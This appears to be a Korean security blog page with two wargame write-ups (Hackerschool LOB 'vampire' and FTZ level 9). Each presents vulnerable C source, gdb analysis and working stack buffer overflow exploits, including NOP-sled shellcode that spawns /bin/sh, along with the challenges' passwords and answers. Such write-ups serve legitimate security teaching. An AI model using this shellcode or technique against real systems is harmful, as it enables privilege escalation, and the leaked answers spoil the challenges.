반응형
반응형
반응형


해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | troll

PW | aspirin


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: troll

Password:

[troll@localhost troll]$ bash2

[troll@localhost troll]$ ls -l

total 16

-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire

-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 리턴 주소의 첫바이트는 0xbf 이어야 하고 두번째 바이트는 \xff가 아니어야 하네요.
그런데 스택은 크기가 변할 수 있습니다! 우리가 매우 큰 길이의 값을 넣어 준다면 그만큼 스택이 늘어나겠지요.

이를 이용해서 쉘코드 앞에 \x90을 10만개 넣겠습니다!

[troll@localhost troll]$ mkdir tmp
[troll@localhost troll]$ cp vampire tmp/
[troll@localhost troll]$ cd tmp/
[troll@localhost tmp]$ ./vampire `python -c 'print "D"*44+"\xff\xff\xbf\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD옜
Segmentation fault (core dumped)
[troll@localhost tmp]$ gdb -c core -q
Core was generated by `./vampire DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??릱릱릱릱릱릱릱릱릱릱'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfffff in ?? ()
(gdb) x/1000x $esp
0xbffe7420:     0x00000000      0xbffe7464      0xbffe7474      0x40013868
0xbffe7430:     0x00000003      0x08048380      0x00000000      0x080483a1
0xbffe7440:     0x08048430      0x00000003      0xbffe7464      0x080482e0
0xbffe7450:     0x080484fc      0x4000ae60      0xbffe745c      0x40013e90
0xbffe7460:     0x00000003      0xbffe7572      0xbffe757c      0xbffe75ad
0xbffe7470:     0x00000000      0xbffffc67      0xbffffc7b      0xbffffc93
0xbffe7480:     0xbffffcb2      0xbffffcd4      0xbffffcdf      0xbffffea2
0xbffe7490:     0xbffffec1      0xbffffedc      0xbffffef1      0xbfffff0e
0xbffe74a0:     0xbfffff19      0xbfffff27      0xbfffff2f      0xbfffff39
0xbffe74b0:     0xbfffff49      0xbfffff57      0xbfffff65      0xbfffff76
0xbffe74c0:     0xbfffff81      0xbfffff92      0xbfffffd3      0xbfffffdf
0xbffe74d0:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffe74e0:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffe74f0:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffe7500:     0x00000000      0x00000009      0x08048380      0x0000000b
0xbffe7510:     0x000001fc      0x0000000c      0x000001fc      0x0000000d
0xbffe7520:     0x000001fc      0x0000000e      0x000001fc      0x00000010
0xbffe7530:     0x0f8bfbff      0x0000000f      0xbffe756d      0x00000000
0xbffe7540:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7550:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7560:     0x00000000      0x00000000      0x00000000      0x38366900
0xbffe7570:     0x2f2e0036      0x706d6176      0x00657269      0x44444444
0xbffe7580:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe7590:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffe75a0:     0x44444444      0x44444444      0xbfbfffff      0x90909000
0xbffe75b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7600:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7610:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7620:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7630:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7640:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7650:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7660:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7670:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7680:     0x90909090      0x90909090      0x90909090      0x90909090


와우 스택주소가 0xbffe부터 시작합니다!
\x90이 10만개가 들어가 있으니 아무 \x90이 들어 있는 곳을 리턴 주소로 잡으면 됩니다.
저는 \xbffe7660으로 잡겠습니다.


[troll@localhost troll]$ ./vampire `python -c 'print "D"*44+"\x60\x76\xfe\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD`v

bash$ my-pass

euid = 509

music world



성공! 다음레벨로 가 즈 아

반응형
반응형


해커스쿨 FTZ [LEVEL9] 풀이


M4ndU




해커스쿨 FTZ [LEVEL9] 풀이입니다.


ID | level9

PW | apple


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level9

level9@192.168.31.128's password:

[level9@ftz level9]$ ls -l

total 12

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Jan 16  2009 tmp

[level9@ftz level9]$ cat hint



다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.



이 문제는 버퍼오버플로우 문제이네요.


buf의 크기는 10인데, 40만큼 입력을 받으면서 버퍼오버플로우 취약점이 생깁니다.


buf2가 먼저 선언되고  그다음 buf가 선언되었으므로 입력값이 buf를 넘어서면 buf2를 침범하게 되겠네요.

이렇게 해서 buf2의 값을 "go"로 바꿔주면 level10의 권한의 쉘을 띄워주는 것 같습니다.


그럼 정확한 buf와 buf2의 위치를 알아 보겠습니다.

힌트에 나온 소스를 복사하여 새롭게 컴파일을 하겠습니다.


[level9@ftz level9]$ cd tmp

[level9@ftz tmp]$ cat > bof.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}

[level9@ftz tmp]$ gcc -o bof bof.c


이제 gdb를 사용해서 분석을 해봅시다.


[level9@ftz tmp]$ gdb -q bof

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048420 <main+0>:    push   ebp

0x08048421 <main+1>:    mov    ebp,esp

0x08048423 <main+3>:    sub    esp,0x28

0x08048426 <main+6>:    and    esp,0xfffffff0

0x08048429 <main+9>:    mov    eax,0x0

0x0804842e <main+14>:   sub    esp,eax

0x08048430 <main+16>:   sub    esp,0xc

0x08048433 <main+19>:   push   0x8048554

0x08048438 <main+24>:   call   0x8048350 <printf>

0x0804843d <main+29>:   add    esp,0x10

0x08048440 <main+32>:   sub    esp,0x4

0x08048443 <main+35>:   push   ds:0x8049698

0x08048449 <main+41>:   push   0x28

0x0804844b <main+43>:   lea    eax,[ebp-40]

0x0804844e <main+46>:   push   eax

0x0804844f <main+47>:   call   0x8048320 <fgets>

0x08048454 <main+52>:   add    esp,0x10

0x08048457 <main+55>:   sub    esp,0x4

0x0804845a <main+58>:   push   0x2

0x0804845c <main+60>:   push   0x804856a

0x08048461 <main+65>:   lea    eax,[ebp-24]

0x08048464 <main+68>:   push   eax

0x08048465 <main+69>:   call   0x8048330 <strncmp>

0x0804846a <main+74>:   add    esp,0x10

0x0804846d <main+77>:   test   eax,eax

0x0804846f <main+79>:   jne    0x80484a6 <main+134>

0x08048471 <main+81>:   sub    esp,0xc

0x08048474 <main+84>:   push   0x804856d

0x08048479 <main+89>:   call   0x8048350 <printf>

0x0804847e <main+94>:   add    esp,0x10

0x08048481 <main+97>:   sub    esp,0x8

---Type <return> to continue, or q <return> to quit---

0x08048484 <main+100>:  push   0xbc2

0x08048489 <main+105>:  push   0xbc2

0x0804848e <main+110>:  call   0x8048360 <setreuid>

0x08048493 <main+115>:  add    esp,0x10

0x08048496 <main+118>:  sub    esp,0xc

0x08048499 <main+121>:  push   0x804857a

0x0804849e <main+126>:  call   0x8048310 <system>

0x080484a3 <main+131>:  add    esp,0x10

0x080484a6 <main+134>:  leave

0x080484a7 <main+135>:  ret

End of assembler dump.



buf 의 시작점은 [ebp-40]

buf2 의 시작점은 [ebp-24] 이네요.

이 둘의 차이가 16이므로 16바이트를 채우면 그 다음 바이트는 buf2의 값이 됩니다.


확인해 보겠습니다.


[level9@ftz tmp]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!


Good Skill!이 출력되는 것으로 보아 buf2의 값이 go 가 되어 조건문이 성립되었다는 것을 알 수 있습니다.

이제 실제 문제를 풀어봅시다.


[level9@ftz tmp]$ cd /usr/bin

[level9@ftz bin]$ ./bof

[level9@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$



성공입니다!


[level10@ftz bin]$ my-pass


Level10 Password is "interesting to hack!".



GAZUAAAAAAAAAAAAAAAAAAAAAAAAA!!




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07

+ Recent posts